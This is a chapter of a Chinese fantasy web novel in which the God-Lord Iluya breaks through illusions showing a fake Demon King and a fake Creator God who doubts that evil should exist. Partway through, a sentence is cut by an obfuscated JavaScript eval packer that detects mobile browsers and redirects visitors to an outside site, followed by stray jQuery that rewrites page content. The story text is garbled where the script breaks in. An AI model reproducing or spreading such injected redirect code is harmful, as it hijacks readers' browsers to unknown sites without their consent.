不久之前，伊路亚打了个喷嚏。


    神主十分稀罕地揉了揉鼻子，心中暗喜来到人界域后都有人在背后挂念他了。


    一定是西蒂丝。


    在他来到这里前，伊路亚刚刚跟其他人分开，发现自己身处一片幻境之中。


    确信其他人都不在身边后，伊路亚并没有急着离开，而是顺其自然地体验起这座不知道从哪儿来的幻境。


    他站在一座昏暗的古堡当中，诡异的紫色鬼火给古堡提供为数不多的光线。城堡装潢不算精致，反而透着一股狂野，它的主人必定是个相当狂放的家伙。


    伊路亚闲庭信步，随意在各个大厅里穿梭。时不时有举着武器的魔族卫兵经过，看都不看他一眼。


    这是个魔族的地盘，而且不是魔王城。但这里是幻境，这个地方到底是否存在都难说。


    “哎，那边的！”


    这时，他身后传来喊声。伊路亚没停步，那声音却追了上来，推了他的肩膀一把，“喂，叫你呢，耳朵被恶啮鼠啃了？”


    伊路亚一愣，回头望向追来的紫皮肤魔族，指着自己：“你叫我？”


    “叫你？你是个什么东西，我还使唤不动你了？”那魔族闻言发怒，抬起拳头便往伊路亚脸上招呼。


    伊路亚一偏头躲过。这一动作让他注意到了自己的发色……嗯？怎么是绿的？


    伊路亚低头看看自己的双手。原先白皙修长的一双手已然不见，取而代之的是一双青灰色、指甲又黑又尖的爪子。


    显然是一双魔族的手。幻境里地伊路亚暂时变成了魔族。


    这个体验十分新奇。伊路亚惊喜地看了自己的手好半天，直到他意识到旁边还有个家伙气呼呼地瞪着自己，问道：“什么事？”


    “还敢问什么事……”紫脸似乎还想打人，但碍于要交代的事情，不得不先将此事搁置。他把手里的托盘塞到伊路亚手里：“去厨房拿饮料送去会客室，记得，不要平时的饮料，要那什么……新鲜的浆果汁。今天魔王大人造访，厄尔肯大人吩咐了要好好伺候，你最好别出什么岔子，否则厄尔肯大人第一个捣烂你的脑子。”


    伊路亚本来还在心里咋舌魔族们的相处方式真是暴力又直接，一听到“魔王大人”四个字，眼睛顿时亮了：“魔王大人？西斯阿黛尔大人？”


    紫脸瞪着眼睛一脸不可置信：“你竟然敢直呼魔王大人名字？兄弟我看错你了，你可不是软柿子，有死你是真作啊。”


    伊路亚：“……”


    紫脸像是一下子对伊路亚充满了赞许，拍着他的后背说：“不过我劝你一句兄弟，一会儿进去把东西放下就溜吧，厄尔肯大人不乐意别人打扰他和魔王大人谈话，连听见都不行。”


    伊路亚的眉头渐渐皱了起来，有种不祥的预感：“什么意思？”


    紫脸接着用八卦的语气道：“厄尔肯大人和魔王大人关系亲密谁都看得出来，虽说魔王大人贵为万魔之母，但又不是魔族的亲妈，这样那样的也正常。再说了，咱们是魔族嘛，就算是亲妈也没什……”


    伊路亚的脸色彻底难看起来，他手动禁掉紫脸的言，硬邦邦问：“厨房在哪？会客室在哪？”


    紫脸被托盘拍着嘴，不明所以，指了两个方向。


    伊路亚点了下头扭身就走。紫脸嘴上还有被托盘拍出的红印，在后头喊道：“听见没？你可千万别破坏厄尔肯大人和魔王大人的好事啊！不过你要是真破坏了，一定得给兄弟我讲讲！”


    伊路亚头也不回，“邦邦邦”地疾步速冲。神主是个不怎么有身份束缚的人，他从不觉得什么样的行为会丢失掉他的威望，因此他走得毫无理智可言。


    绿皮的魔族神主风度翩翩又怒气冲冲地走到了会客室，在门口顿了两秒，听了听里面的动静——什么也没听见——然后礼貌又理智地推开了门。


    会客室内的场景还算和谐。魔王西斯阿黛尔与大恶魔厄尔肯分别坐在一边的椅子上——伊路亚目测那是用骨头和皮毛组成的沙发——他们正在聊天。


    伊路亚慢慢走过去，默不作声将饮料摆在魔王面前。


    魔王并未分给他一个眼神。此刻的她是人类二十几岁的外表，是个清丽又曼妙的绝色女子，一双上挑的猫儿眼狡黠又灵气。她动作相当放松随意，绿眸里是伊路亚不怎么见到的媚意，仿佛她与生俱来便能轻易令所有人甘愿讨她欢心。


    伊路亚只看了一眼就知道这不是真正的西蒂丝。


    西蒂丝不拿这样迷离的眼神看人，她的嘴角和眉宇也没有狂妄与野心。


    这或许是魔族想象中魔王的样子，但并非真实。


    厄尔肯显然在奉承她，一个劲地说些好话。伊路亚打量了他一眼，这位大恶魔的外表可以用来吓唬不睡觉的小孩子，蓝色的毛发红色的角，铜色的皮肤与黑漆漆的利爪。


    伊路亚只是在天使们口中听说过这位分封在外的大恶魔，他早早便落败在人类手里，西蒂丝更是从不会提起魔王城的任何事。


    但当年天使向他禀报厄尔肯的覆灭，卷轴上提了一句，厄尔肯自称是魔王的亲信，是关系十分密切的下属。


    伊路亚不知道这是真的假的，这让他有些焦虑。


    伊路亚干脆就站在不远处注视那两个幻影。他们相谈甚欢，口中尽是阴谋诡计和烧杀抢掠。然后厄尔肯起身，坐到了魔王旁边。


    她没有拒绝，反而将脚伸到厄尔肯的大腿上。厄尔肯抬起她的一缕长发，两人的话题逐渐跑偏，开始一来一回地调情——


    伊路亚的神情逐渐从面无表情趋向咬牙切齿，他试图仔细听两个人说的话里有什么重要信息，但十八秒之后，他放弃了。


    “轰——”


    剧烈的白光从伊路亚身上迸发，片刻消失。而幻境烟消云散，无论是假的魔王还是大恶魔，通通被伊路亚一手抹掉。


    梦蝇的尸体下雨一般地落下，角落里虎视眈眈的变形怪和其他魔物被波及，顷刻灰飞烟灭。


    “嗯……”伊路亚看看崩塌掉的幻境，“场景很逼真，可惜人物不够写实。”


    其实他在嘴硬，他现在特别想知道幻境场景到底是胡编乱造还是真的。卷轴里说的亲近是亲近到什么程度，比他们现在还要亲近吗？


    很在意，神主无视不了一点。


    然而，伊路亚看向四周。这里仍然不是地下城中应该出现的景象，而是一片混沌。他已经变回了本来的圣洁样貌，仿佛站在未被开化的宇宙，周遭全是没有成型的原始能量。


    伊路亚试图再次用刚才的方法撕开幻境。然而他惊讶地发现，他失败了。


    这里的环境严丝合缝，他暂时无法离开这里。


    伊路亚打量这片困住了神主的幻境，莫名觉得这里似乎有些熟悉，仿佛他的记忆在与此地遥相呼应。


    混沌，原初……伊路亚想到了很多很多年前的事，猛地回过头去，一眼看见一个被银光笼罩的人影。


    伊路亚心头一震，他望着那个刺眼的人影灵活地活动着手指，很快那双手中展开一对雪白的翅膀，一对白鸟翩翩飞去——那是世间最初的飞鸟。


    “创世神？”伊路亚不可置信地说道。他并未特地研究过擅长制作幻境地魔物能讲幻境逼真到什么程度，但是这和他记忆中相差无几的创世神……？


    创世神是世界最初的神。祂创造万物，河流山川、百兽争鸣都是祂的杰作。而在那一切诞生之前，神主伊路亚是祂的得意作品。


    祂为世界创造了神，规划了最初的法则，直到万物欣欣向荣，祂说：


    “世上只有一个伊路亚，这也太无聊了，我再创造一个有趣的小家伙吧。”


    伊路亚眼睁睁看着祂创造了魔王西斯阿黛尔。她天然与伊路亚对立，能力、性别、立场甚至是性格，创世神说让她把世界变得有趣一点，于是人类诞生后不久，魔族也诞生了。


    就在这个时候，创世神离开了世界。伊路亚找不到祂的踪迹，祂一定是去了世界之外。


    而如今距离那个时候，已经过去了整整四个创世纪，按照人类的历法，已有三万多年。


    伊路亚已经很久很久没有见过创世神了。


    没想到再次看见祂那张刺眼的脸会是这种情况。伊路亚心情有些复杂，他试图朝创世神的方向走去。


    “创世神？”伊路亚


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15827339|172210||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    叫祂。


    创世神抬起头，看到神情古怪的伊路亚，热情地打招呼：“啊，是你啊伊路亚。”


    银光仍遮盖了创世神的面容，伊路亚猜测这应该也是假的。在他小时候——四个创世纪之前，每次见到创世神，祂都是大大方方把脸露出来。


    “你现在在哪里……唉，算了，你在做什么？”伊路亚放弃从假货口中询问创世神的下落，将视线落在祂的手中。


    “如你所见，我在创造世界。”假创世神道，“天空中应有飞鸟，这样太阳不会寂寞。”


    伊路亚熟练打断祂的畅想：“鸟飞不到太阳那么高。”


    “谁知道呢，我的孩子，也许总有一天，有一只鸟足够向往太阳，而它恰好十分强壮，就像我一样。”创世神不无得意地说。


    伊路亚对祂的自夸免疫，摇摇头：“不说这个……你知道西蒂丝在哪吗？”


    比起与假创世神演久别重逢的戏码，伊路亚更想找到西蒂丝问清楚她和厄尔肯什么关系。


    “西蒂丝？”创世神疑惑，“你是说，西斯阿黛尔。”


    “是的，她在哪？我要去找她。”伊路亚强调。


    创世神却没有理会伊路亚的询问，而是转而问起另一个问题：“西斯阿黛尔在人间做了什么？”


    伊路亚一愣，创世神在西蒂丝诞生后不久便离开了世界，于是他如实回答：“她到处寻找美食，四处游玩，创造了魔族和魔物，成为魔王，建立魔王城，顺便和我打了一架。”


    伊路亚问：“你知道她在哪吗？不知道就说不知道。”


    创世神还是仿佛没听见他的问题，祂说：“魔王听上去不是个善良的词。”


    “当然。”伊路亚有点不耐烦，但对着创世神这张脸仍然保持着尊重，“你就是这样创造她的。你说世界同时存在善恶才能缔造规则，我们同时代表两极。”


    尽管伊路亚这么多年都在怀疑这件事，在他看来西蒂丝并没坏到哪去，自己也并非那么善良。


    “的确如此。”创世神点头，“所以我现在开始反思，恶是否应该存在于世上，这是否是个正确的选择。”


    伊路亚面色一寒：“你什么意思？”


    创世神笑了一声，轻快却掷地有声地道：“如果我不创造西斯阿黛尔，世界上就不会有魔物和魔族了，也不会有人和魔、神和魔的战争，对吗？我有些后悔了，或许我的确不该创造出一个‘恶’的存在。”


    伊路亚盯着创世神：“这样的假设没有意义，你自己也说了，这是为了规则。”


    “可是打破规则往往是生灵的愿望，”创世神笑道，“这也许是个更好的选择。”


    “胡说八道。”伊路亚头一次不假思索地顶撞创世神模样的家伙。


    创世神仍在说话，祂的声音在伊路亚耳中逐渐变得虚幻和扭曲：“善恶无法共存，伊路亚，你和她从来无法相容与和解，就算你想感化她，她也不会买账的。”


    伊路亚确信自己的脑子或许受到了什么影响，他有点不清醒，但他露出了笑容：“这是我的事，无论你是什么，没必要这样考验我。”


    话音落下时，神主的强硬力量从他手中迸发，以极为暴力的手段撕碎了这片空间。


    创世神的笑声渐渐远去，空旷地回响，而伊路亚忽然想起很久很久之前与创世神的一段对话。


    “可是鸟飞不到太阳那么高。”


    “谁知道呢，也许总有一天，有一只鸟足够向往太阳，而它恰好像我一样强壮。”


    “然而，”祂话锋一转，“你说得对。如果能飞到云那么高，鸟就不是鸟了。”


    “如果有只傻鸟一定要执着它够不到的太阳，那么只会摔得很惨。”


    ——不存在什么够不到的太阳，只要他想。


    果然是魔物制造的幻境，它刻画着他心底的恐惧——曾经他心底的恐惧，无法与西蒂丝共存。而如今并非。


    他是世界的神主，他相信创世神的任何规则都已无法束缚现在的他，以及西蒂丝。


    而且，他从不认为创世神创造他们的本意是挑起纷争。否则，他不可能第一次见面便爱上了她。